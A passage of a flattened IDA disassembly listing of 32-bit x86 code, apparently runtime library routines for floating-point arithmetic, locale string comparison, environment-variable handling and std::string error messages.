lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43C090 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_43C1F0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_48B444 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_48B664 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_48A044 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_48A300, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx call near ptr 2580000h nop test eax, eax jz short loc_42223A mov dword_48A300, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_43C824 push eax push edi push eax push ebx push ebx call near ptr 258062Ch nop test eax, eax jz loc_422453 mov dword_48A300, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_48A300 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 258062Ch nop jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 28612B7h nop test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2600000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2600000h nop test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2580000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_48A03C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_48A040 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_48A03C, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_48A044, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A03C, eax jz short loc_4224F6 mov [eax], edi cmp dword_48A044, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A044, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_48A03C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_48A03C, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25701B9h push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_48A03C push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_48A03C sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_48A03C sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_48B45C, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_48B561[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea 